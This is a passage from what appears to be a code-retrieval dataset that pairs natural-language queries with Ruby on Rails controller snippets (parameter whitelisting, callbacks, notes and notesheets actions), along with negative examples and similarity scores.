:current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def shopping_list_params\n params.require(:shopping_list).permit!\n end", "def permitted_params\n declared(params, include_missing: false)\n end", "def permitted_params\n declared(params, include_missing: false)\n end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def permitters\n @_parametrizr_permitters || {}\n end", "def allow_params(action, keys: nil, except: nil, &blk)\n keys &&= Array.wrap(keys)\n keys ||= User.field_names\n except &&= Array.wrap(except)\n except ||= %i[id email]\n devise_parameter_sanitizer.permit(action, keys: keys, except: except, &blk)\n end", "def list_params\n if current_user && current_user.role == 'admin'\n params.require(:list).permit(:name, :url, :description, :user_id,\n ideas_attributes: [:id, :list_id, :body, :due_date, :completion_status, :_destroy])\n else\n params.require(:list).permit(:name, :description,\n ideas_attributes: [:body, :due_date, :completion_status]) \n end\n end", "def whitelist(params)\n send_request_of_type(GlobalConstant::PrivateOpsApi.private_ops_api_type, 'post', '/token-sale/whitelist', params)\n end", "def valid_access_params\n params.require(:valid_access).permit(:wish_list_id, :user_id)\n end", "def url_allowlist; end", "def ensure_redirected_params_are_safe!(passed_params)\n unless passed_params.is_a?(ActionController::Parameters) && passed_params.permitted?\n error_message = if passed_params.is_a?(ActionController::Parameters)\n unsafe_parameters = passed_params.send(:unpermitted_keys, params)\n \"[Rails::Prg] Error - Must use permitted strong parameters. Unsafe: #{unsafe_parameters.join(', ')}\"\n else\n \"[Rails::Prg] Error - Must pass strong parameters.\"\n end\n raise error_message\n end\n end", "def data_collection_params\n allow = [:name,:description,:institution,:collection_name,:country_id,:province_id,:city_id]\n params.require(:data_collection).permit(allow)\n end", "def quote_params\n params.permit!\n end" ]
[ "0.69497335", "0.6812623", "0.6803639", "0.6795365", "0.67448795", "0.67399913", "0.6526815", "0.6518771", "0.64931697", "0.6430388", "0.6430388", "0.6430388", "0.63983387", "0.6356042", "0.63535863", "0.63464934", "0.63444513", "0.6337208", "0.6326454", "0.6326454", "0.6326454", "0.63140553", "0.6299814", "0.62642586", "0.626006", "0.62578833", "0.6236823", "0.6227561", "0.6221758", "0.62200165", "0.620879", "0.61983657", "0.6195055", "0.6172993", "0.6156856", "0.61558664", "0.61521494", "0.6135789", "0.6121145", "0.61118174", "0.60736513", "0.6071645", "0.60632104", "0.60549796", "0.6043906", "0.6034662", "0.60207325", "0.6018568", "0.6016575", "0.60103434", "0.60084206", "0.600763", "0.6007443", "0.6003619", "0.6003619", "0.5995791", "0.5993301", "0.5993231", "0.5984926", "0.597122", "0.5968121", "0.5965808", "0.59640145", "0.59632224", "0.59602356", "0.59332967", "0.5927556", "0.5922805", "0.5909745", "0.5905083", "0.5904304", "0.5893434", "0.58888215", "0.58823985", "0.58823985", "0.58823985", "0.5873434", "0.58619875", "0.58533794", "0.5845531", "0.58426666", "0.58360124", "0.583218", "0.5828041", "0.5827927", "0.5816121", "0.5814705", "0.5812719", "0.581121", "0.5803423", "0.5803423", "0.57995003", "0.5794207", "0.5784923", "0.5781365", "0.5776385", "0.5774859", "0.57671493", "0.5766998", "0.57618684", "0.5758038" ]
0.0
-1
Use callbacks to share common setup or constraints between actions.
def set_experience @experience = Experience.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Only allow a list of trusted parameters through.
def experience_params params.require(:experience).permit(:organization, :location, :position, :from, :to) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def allowed_params\n ALLOWED_PARAMS\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end", "def param_whitelist\n [:role, :title]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def allow_params_authentication!; end", "def whitelisted_args\n args.select &:allowed\n end", "def safe_list_sanitizer; end", "def safe_list_sanitizer; end", "def safe_list_sanitizer; end", "def filtered_parameters; end", "def sanitize_params_for user, params, allowed_params\n params.each do |key, val|\n #if allowed_params.include?(key)\n #sanitize!(user, params, key) if key =~ /_attributes|_ids$/\n #else\n #params.delete(key)\n #end\n params.delete(key) unless allowed_params.include?(key.to_sym)\n end\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def expected_permitted_parameter_names; end", "def sanitize_parameters!(sanitizer, params)\n # replace :readwrite with :onlyif\n if params.has_key?(:readwrite)\n warn \":readwrite is deprecated. Replacing with :onlyif\"\n params[:onlyif] = params.delete(:readwrite)\n end\n\n # add default parameters\n bindata_default_parameters.each do |k,v|\n params[k] = v unless params.has_key?(k)\n end\n\n # ensure mandatory parameters exist\n bindata_mandatory_parameters.each do |prm|\n if not params.has_key?(prm)\n raise ArgumentError, \"parameter ':#{prm}' must be specified \" +\n \"in #{self}\"\n end\n end\n\n # ensure mutual exclusion\n bindata_mutually_exclusive_parameters.each do |param1, param2|\n if params.has_key?(param1) and params.has_key?(param2)\n raise ArgumentError, \"params #{param1} and #{param2} \" +\n \"are mutually exclusive\"\n end\n end\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def safe_list_sanitizer=(_arg0); end", "def safe_list_sanitizer=(_arg0); end", "def safe_list_sanitizer=(_arg0); end", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def param_whitelist\n [:rating, :review]\n end", "def check_params; true; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def allowed?(*_)\n true\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end", "def secure_params\n return @secure_params if @secure_params\n\n defn = implementation_class.definition\n field_list = [:master_id] + defn.field_list_array\n\n res = params.require(controller_name.singularize.to_sym).permit(field_list)\n res[implementation_class.external_id_attribute.to_sym] = nil if implementation_class.allow_to_generate_ids?\n @secure_params = res\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permit( params, whitelist, name = nil )\n raise 'Parametrization not yet configured' unless @configured\n whitelist ||= []\n px = params.respond_to?( :permit ) ? params : ActionController::Parameters.new( params )\n px = dig(px, name)\n px.permit( *whitelist )\n end", "def valid_params?; end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def url_allowlist=(_arg0); end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def list_params\n params.permit(:list_name)\n end", "def valid_params_request?; end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def param_list(param_type, name, type, required, description = nil, allowed_values = [], hash = {})\n hash.merge!({allowable_values: {value_type: \"LIST\", values: allowed_values}})\n param(param_type, name, type, required, description, hash)\n end", "def safelists; end", "def authorize_own_lists\n authorize_lists current_user.lists\n end", "def listed_params\n params.permit(:listed, :list_id, :listable_id, :listable_type, :campsite_id)\n end", "def lists_params\n params.require(:list).permit(:name)\n\n end", "def list_params\n params.require(:list).permit(:name, :user_id)\n end", "def list_params\n params.require(:list).permit(:name, :description, :type, :privacy, :allow_edit, :rating, :votes_count, :user_id)\n end", "def check_params\n true\n end", "def authorize_own_or_shared_lists\n authorize_lists current_user.all_lists\n end", "def user_pref_list_params\n\t\tparams.require(:user).permit(:preference_list)\n\tend", "def may_contain!(*keys)\n self.allow_only_permitted = true\n self.permitted_keys = [*permitted_keys, *keys].uniq\n end", "def filter_parameters; end", "def filter_parameters; end", "def whitelist; end", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def list_params\n params.permit(:name)\n end", "def recipient_list_params\n params.require(:recipient_list).permit(:name, :list, :references)\n end", "def cancan_parameter_sanitizer\n resource = controller_name.singularize.to_sym\n method = \"#{resource}_params\"\n params[resource] &&= send(method) if respond_to?(method, true)\n end", "def list_params\n params.require(:list).permit(:name).merge(user_id: current_user.id)\n end", "def whitelist_place_params\n params.require(:place).permit(:place_name, :unlock, :auth, :is_deep_checked, :parent_ADM4, :parent_ADM3, :parent_ADM2, :parent_ADM1, :parent_country, feature_code: [], same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end", "def list_params\n params.fetch(:list, {}).permit(:user_id, :name, :active)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def secure_params(require_param, permit_keys)\n params.require(require_param).permit(*permit_keys)\n end", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def permitted_params\n []\n end", "def price_list_params\n params.fetch(:price_list, {}).permit(:name, :valid_from, :valid_to, :active,\n :all_warehouses, :all_users, :all_contact_groups,\n warehouse_ids: [], price_lists_user_ids: [], contact_group_ids: [])\n end", "def params(list)\n @declared_params = list\n end", "def admin_review_params\n params.fetch(:review, {}).permit(whitelisted_params)\n end", "def saved_list_params\n params.require(:saved_list).permit(:user_id)\n end", "def allow(ids); end", "def list_params\n params.require(:list).permit(:name)\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def filter_params(param_set, **kwargs)\r\n begin\r\n key = kwargs[:key]\r\n params.require(key).permit(*param_set)\r\n rescue Exception\r\n params.permit(*param_set)\r\n end\r\n end", "def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end", "def validate_paramified_params\n self.class.paramify_methods.each do |method|\n params = send(method)\n transfer_errors_from(params, TermMapper.scope(params.group)) if !params.valid?\n end\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def secure_params\n return @secure_params if @secure_params\n\n @implementation_class = implementation_class\n resname = @implementation_class.name.ns_underscore.gsub('__', '_').singularize.to_sym\n @secure_params = params.require(resname).permit(*permitted_params)\n end", "def refine_permitted_params(param_list)\n res = param_list.dup\n\n ms_keys = res.select { |a| columns_hash[a.to_s]&.array }\n ms_keys.each do |k|\n res.delete(k)\n res << { k => [] }\n end\n\n res\n end", "def recipient_list_params\n params.require(:recipient_list).permit(:name, :description, recipient_id_array: [])\n end", "def safelist; end", "def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end", "def valid_for_params_auth?; end", "def default_param_whitelist\n [\"mode\"]\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def shopping_list_params\n params.require(:shopping_list).permit!\n end", "def permitted_params\n declared(params, include_missing: false)\n end", "def permitted_params\n declared(params, include_missing: false)\n end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def permitters\n @_parametrizr_permitters || {}\n end", "def allow_params(action, keys: nil, except: nil, &blk)\n keys &&= Array.wrap(keys)\n keys ||= User.field_names\n except &&= Array.wrap(except)\n except ||= %i[id email]\n devise_parameter_sanitizer.permit(action, keys: keys, except: except, &blk)\n end", "def list_params\n if current_user && current_user.role == 'admin'\n params.require(:list).permit(:name, :url, :description, :user_id,\n ideas_attributes: [:id, :list_id, :body, :due_date, :completion_status, :_destroy])\n else\n params.require(:list).permit(:name, :description,\n ideas_attributes: [:body, :due_date, :completion_status]) \n end\n end", "def whitelist(params)\n send_request_of_type(GlobalConstant::PrivateOpsApi.private_ops_api_type, 'post', '/token-sale/whitelist', params)\n end", "def valid_access_params\n params.require(:valid_access).permit(:wish_list_id, :user_id)\n end", "def url_allowlist; end", "def ensure_redirected_params_are_safe!(passed_params)\n unless passed_params.is_a?(ActionController::Parameters) && passed_params.permitted?\n error_message = if passed_params.is_a?(ActionController::Parameters)\n unsafe_parameters = passed_params.send(:unpermitted_keys, params)\n \"[Rails::Prg] Error - Must use permitted strong parameters. Unsafe: #{unsafe_parameters.join(', ')}\"\n else\n \"[Rails::Prg] Error - Must pass strong parameters.\"\n end\n raise error_message\n end\n end", "def data_collection_params\n allow = [:name,:description,:institution,:collection_name,:country_id,:province_id,:city_id]\n params.require(:data_collection).permit(allow)\n end", "def quote_params\n params.permit!\n end" ]
[ "0.69497335", "0.6812623", "0.6803639", "0.6795365", "0.67448795", "0.67399913", "0.6526815", "0.6518771", "0.64931697", "0.6430388", "0.6430388", "0.6430388", "0.63983387", "0.6356042", "0.63535863", "0.63464934", "0.63444513", "0.6337208", "0.6326454", "0.6326454", "0.6326454", "0.63140553", "0.6299814", "0.62642586", "0.626006", "0.62578833", "0.6236823", "0.6227561", "0.6221758", "0.62200165", "0.620879", "0.61983657", "0.6195055", "0.6172993", "0.6156856", "0.61558664", "0.61521494", "0.6135789", "0.6121145", "0.61118174", "0.60736513", "0.6071645", "0.60632104", "0.60549796", "0.6043906", "0.6034662", "0.60207325", "0.6018568", "0.6016575", "0.60103434", "0.60084206", "0.600763", "0.6007443", "0.6003619", "0.6003619", "0.5995791", "0.5993301", "0.5993231", "0.5984926", "0.597122", "0.5968121", "0.5965808", "0.59640145", "0.59632224", "0.59602356", "0.59332967", "0.5927556", "0.5922805", "0.5909745", "0.5905083", "0.5904304", "0.5893434", "0.58888215", "0.58823985", "0.58823985", "0.58823985", "0.5873434", "0.58619875", "0.58533794", "0.5845531", "0.58426666", "0.58360124", "0.583218", "0.5828041", "0.5827927", "0.5816121", "0.5814705", "0.5812719", "0.581121", "0.5803423", "0.5803423", "0.57995003", "0.5794207", "0.5784923", "0.5781365", "0.5776385", "0.5774859", "0.57671493", "0.5766998", "0.57618684", "0.5758038" ]
0.0
-1
GET /notesheets GET /notesheets.json
def index @notesheets = Notesheet.all end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @notes = Note.all\n render json: @notes\n end", "def list_notes\n notes = if unsafe_params[:editable]\n Note.editable_by(@context).where.not(title: nil).accessible_by_private\n else\n Note.accessible_by(@context).where.not(title: nil)\n end\n\n if unsafe_params[:scopes].present?\n check_scope!\n notes = notes.where(scope: unsafe_params[:scopes])\n end\n\n if unsafe_params[:note_types].present?\n fail \"Param note_types can only be an Array of Strings containing 'Note', 'Answer', or 'Discussion'\" unless unsafe_params[:note_types].is_a?(Array) && unsafe_params[:note_types].all? { |type| %w(Note Answer Discussion).include?(type) }\n\n note_types = unsafe_params[:note_types].map { |type| type == \"Note\" ? nil : type }\n notes = notes.where(note_type: note_types)\n end\n\n result = notes.order(id: :desc).map do |note|\n if note.note_type == \"Discussion\"\n note = note.discussion\n elsif note.note_type == \"Answer\"\n note = note.answer\n end\n describe_for_api(note, unsafe_params[:describe])\n end\n\n render json: result\n end", "def index\n @notes = Note.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @notes }\n end\n end", "def index\n @notes = Note.all\n \n respond_with(@notes)\n end", "def index\n @notebooks = Notebook.all\n render json: @notebooks\n end", "def index\n @notebooks = Notebook.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @notebooks }\n end\n end", "def index\n @notebooks = Notebook.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @notebooks }\n end\n end", "def index\n @task_notes = Note.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @task_notes }\n end\n end", "def index\n @notebook_notes = Notebook::Note.all\n end", "def show\n render json: @notes\n end", "def index\n @notes = Note.where{project_id == my{@project.id}}\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @notes }\n end\n end", "def index\n @quicknotes = Quicknote.all\n respond_with(@quicknotes)\n end", "def index\n @weekly_notes = WeeklyNote.all\n end", "def index\n\t\trender json: current_user.noteBooks.as_json(:include=> [:notes=>{:only=>[\"id\"]}])\n # render json: NoteBook.all.as_json(:include=> [:notes=>{:only=>[\"id\"]}])\n\tend", "def set_notesheet\n @notesheet = Notesheet.find(params[:id])\n\n end", "def index\n @note = Note.new\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @notes }\n end\n end", "def create\n @notesheet = Notesheet.new(notesheet_params)\n \n respond_to do |format|\n if @notesheet.save\n if !@notesheet.notepic.url\n path = \"#{@notesheet.title}-#{@notesheet.id}.txt\"\n File.open(path, \"w+\") do |f|\n f.write(@notesheet.content)\n @notesheet.notepic = f\n end\n @notesheet.save!\n end\n \n \n format.html { 